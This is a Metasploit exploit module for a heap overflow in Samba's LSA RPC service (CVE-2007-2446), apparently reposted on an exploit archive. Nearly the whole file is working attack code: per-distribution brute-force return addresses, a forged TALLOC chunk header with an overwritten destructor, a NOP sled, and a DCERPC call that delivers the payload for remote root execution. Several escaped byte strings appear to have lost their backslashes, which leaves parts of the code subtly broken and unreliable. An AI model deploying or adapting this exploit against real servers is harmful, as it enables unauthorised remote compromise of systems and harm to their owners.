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lsa_transnames_heap-linux.rb.txt

Posted on 26 July 2007

##
# $Id: lsa_transnames_heap.rb 4984 2007-06-09 02:25:31Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Linux::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote

include Exploit::Remote::DCERPC
include Exploit::Remote::SMB
include Exploit::Brute

def initialize(info = {})
super(update_info(info,
'Name'           => 'Samba lsa_io_trans_names Heap Overflow',
'Description'    => %q{
This module triggers a heap overflow in the LSA RPC service
of the Samba daemon. This module uses the TALLOC chunk overwrite
method (credit Ramon and Adriano), which only works with Samba
versions 3.0.21-3.0.24. Additonally, this module will not work
when the Samba "log level" parameter is higher than "2".
},
'Author'         =>
[
'Ramon de Carvalho Valle <ramon@risesecurity.org>',
'Adriano Lima <adriano@risesecurity.org>',
'hdm'
],
'License'        => MSF_LICENSE,
'Version'        => '$Revision: 4984 $',
'References'     =>
[
['CVE', '2007-2446'],
],
'Privileged'     => true,
'Payload'        =>
{
'Space'    => 1024, # no limit really
},
'Platform'       => 'linux',
'DefaultOptions' =>
{
'PrependSetresuid' => true,
'PrependSetreuid'  => true,
'PrependSetuid'    => true,
},
'Targets'        =>
[
['Linux vsyscall',
{
'Platform'      => 'linux',
'Arch'          => [ ARCH_X86 ],
'Nops'          => 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xffffe410 },
'Stop'  => { 'Ret' => 0xffffe413 },
'Step'  => 1,
}
}
],


##
# 08356000-0843d000 rwxp 08356000 00:00 0 (Debian)      # KF
# 80300000-8042f000 rw-p 80300000 00:00 0 (Gentoo)      # hdm
# b800f000-b80c9000 rwxp b800f000 00:00 0 (RHEL/CentOS) # Adriano/Ramon
# 80365000-80424000 rwxp 80365000 00:00 0 (SUSE)        # Adriano/Ramon
# 8033c000-80412000 rwxp 00000000 00:00 0 (Slackware)   # Adriano/Ramon
# 08342000-08436000 rwxp 00000000 00:00 0 (Ubuntu)      # hdm
# 08270000-0837f000 rwxp 00000000 00:00 0 (SNAP)        # Andrew
#
##

['Linux Heap Brute Force (Debian/Ubuntu)',
{
'Platform'      => 'linux',
'Arch'          => [ ARCH_X86 ],
'Nops'          => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x08352000 },
'Stop'  => { 'Ret' => 0x0843d000 },
'Step'  => 60*1024,

}
}
],

['Linux Heap Brute Force (Gentoo)',
{
'Platform'      => 'linux',
'Arch'          => [ ARCH_X86 ],
'Nops'          => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x80310000 },
'Stop'  => { 'Ret' => 0x8042f000 },
'Step'  => 60*1024,

}
}
],



['Linux Heap Brute Force (Mandriva)',
{
'Platform'      => 'linux',
'Arch'          => [ ARCH_X86 ],
'Nops'          => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x80380000 },
'Stop'  => { 'Ret' => 0x8045b000 },
'Step'  => 60*1024,

}
}
],

['Linux Heap Brute Force (RHEL/CentOS)',
{
'Platform'      => 'linux',
'Arch'          => [ ARCH_X86 ],
'Nops'          => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb800f000 },
'Stop'  => { 'Ret' => 0xb80c9000 },
'Step'  => 60*1024,

}
}
],

['Linux Heap Brute Force (SUSE)',
{
'Platform'      => 'linux',
'Arch'          => [ ARCH_X86 ],
'Nops'          => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x80365000 },
'Stop'  => { 'Ret' => 0x80424000 },
'Step'  => 60*1024,

}
}
],

['Linux Heap Brute Force (Slackware)',
{
'Platform'      => 'linux',
'Arch'          => [ ARCH_X86 ],
'Nops'          => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x8033c000 },
'Stop'  => { 'Ret' => 0x80412000 },
'Step'  => 60*1024,

}
}
],

['DEBUG',
{
'Platform'      => 'linux',
'Arch'          => [ ARCH_X86 ],
'Nops'          => 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xAABBCCDD },
'Stop'  => { 'Ret' => 0xAABBCCDD },
'Step'  => 4,
}
}
],
],
'DisclosureDate' => 'May 14 2007',
'DefaultTarget'  => 0
))

register_options(
[
OptString.new('SMBPIPE', [ true,  "The pipe name to use", 'LSARPC']),
], self.class)

end


def brute_exploit(target_addrs)



if(not @nops)
if (target['Nops'] > 0)
print_status("Creating nop sled....")
@nops = make_nops(target['Nops'])
else
@nops = ''
end

# @nops = "xcc" * (@nops.length)
end

print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])

nops = @nops
pipe = datastore['SMBPIPE'].downcase

print_status("Connecting to the SMB service...")
connect()
smb_login()

datastore['DCERPC::fake_bind_multi'] = false

handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")

jumper = "P" * 256
jumper[24, 5] = "xe9" + [-5229-11-5-(nops.length/2)].pack('V')

num_entries  = 256
num_entries2 = 272

# first talloc_chunk
# 16 bits align
# 16 bits sid_name_use
#     16 bits uni_str_len
#     16 bits uni_max_len
#     32 bits buffer
# 32 bits domain_idx
buf = (('A' * 16) * num_entries)

# padding
buf << 'A' * 8

# TALLOC_MAGIC
talloc_magic = "x70xecx14xe8"

# second talloc_chunk header
buf << 'A' * 8                   # next, prev
buf << NDR.long(0) + NDR.long(0) # parent, child
buf << NDR.long(0)               # refs
buf << [target_addrs['Ret']].pack('V') # destructor
buf << 'A' * 4                   # name
buf << 'A' * 4                   # size
buf << talloc_magic              # flags
buf << jumper

stub = lsa_open_policy(dcerpc)

stub << NDR.long(0)            # num_entries
stub << NDR.long(0)            # ptr_sid_enum
stub << NDR.long(num_entries)  # num_entries
stub << NDR.long(0x20004)      # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
stub << nops
stub << payload.encoded

print_status("Calling the vulnerable function...")

begin
# LsarLookupSids
dcerpc.call(0x0f, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply
print_good('Server did not respond, this is expected')
rescue Rex::Proto::DCERPC::Exceptions::Fault
print_error('Server is most likely patched...')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_good('Server disconnected, this is expected')
else
print_error("Error: #{e.class}: #{e.to_s}")
end
end

handler
disconnect
end

def lsa_open_policy(dcerpc, server="\")
stubdata =
# Server
NDR.uwstring(server) +
# Object Attributes
NDR.long(24) + # SIZE
NDR.long(0)  + # LSPTR
NDR.long(0)  + # NAME
NDR.long(0)  + # ATTRS
NDR.long(0)  + # SEC DES
# LSA QOS PTR
NDR.long(1)  + # Referent
NDR.long(12) + # Length
NDR.long(2)  + # Impersonation
NDR.long(1)  + # Context Tracking
NDR.long(0)  + # Effective Only
# Access Mask
NDR.long(0x02000000)

res = dcerpc.call(6, stubdata)

dcerpc.last_response.stub_data[0,20]
end


end
end

 

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